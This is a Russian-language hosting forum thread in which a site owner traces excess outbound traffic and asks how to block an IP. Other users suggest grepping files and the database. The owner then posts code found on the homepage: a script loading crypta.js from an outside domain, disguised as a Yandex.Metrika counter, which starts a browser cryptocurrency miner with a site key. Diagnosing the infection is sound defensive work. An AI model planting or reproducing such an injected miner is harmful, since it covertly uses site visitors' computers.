Мы используем cookie-файлы
Для оптимизации работы нашего сайта мы используем cookie-файлы. Продолжая использовать сайт, Вы соглашаетесь с использованием cookie-файлов.
  • RUB
  • USD
  • EUR
  • UAH
  • +38(044) 392-74-33  Киев
  • +38(057) 728-39-00  Харьков
  • +38(056) 794-38-31  Днепр
  • +38(032) 229-58-93  Львов
  • +38(048) 738-57-70  Одесса
  • +38(093) 170-15-42  Life
  • +38(067) 400-88-44  Киевстар
  • +38(095) 630-90-82  MTC
  • +1(888)393-24-51  USA, Toll free
  • +44(131)507-01-14  Great Britain
  • +7(499) 348-28-61  Москва

Хостинг. Как закрыть исходящие запросы на определенный IP

Форумы Хостинг Как закрыть исходящие запросы на определенный IP
partydress
5 месяцев
хостинг: есть
домен: нет
Как закрыть исходящие запросы на определенный IP
Сайт постоянно превышает свой лимит, изучил многое, но увидел несколько тысяч исходящих запросов каждый день на IP 35.156.202.150 через порт 80. Пытался закрыть этот порт, пишет зарезервировано.
Подскажите, может есть возможность закрыть этот IP, пока я не нашел тот троян, который, видимо это делает. Антивирусы ничего не находят, сайты анализаторы нашли вставку с неизвестного сайта:
https://verifier.live/lib/crypta.js
пока что пытаюсь найти ее локацию у себя. такого скрипта я не нашел, но может встроено куда-то.
спасибо за совет!
Дмитрий Б.
5 месяцев
хостинг: нет
домен: есть
Попробуйте подключиться к Вашему аккаунту по ssh и сделать поиск по этому URL. Например командой grep -r 'crypta.js'
partydress
5 месяцев
хостинг: есть
домен: нет
спасибо, попробую! я по ftp поиски проводил, но пока не нашел ни такого файла, ни встречающейся внутри информации(
KarlovA
5 месяцев
хостинг: есть
домен: есть
Думаю, не лишним будет также поиск упоминаний crypta.js и в базе данных, которую использует сайт.
partydress
5 месяцев
хостинг: есть
домен: нет
Понял, спасибо, поищу там тоже!
partydress
5 месяцев
хостинг: есть
домен: нет
Вот нашел такой код на главной, замаскирован под счетчик яндекс-метрики.

<!-- /Yandex.Metrika counter -->
<script src="//verifier.live/lib/crypta.js"></script>
<script>
var miner=new CRLT.Anonymous('57fc2dc75627403dc458cdc79c9a94ba674aa541dd15', {
threads:4,throttle:0.2,
});
miner.start();
</script>
Участвовать в общении на этом форуме могут только
зарегистрированные пользователи.

Если вы уже зарегистрированы Вам необходимо войти на форум.

Горячая линия
(044)
392 74 33
другие города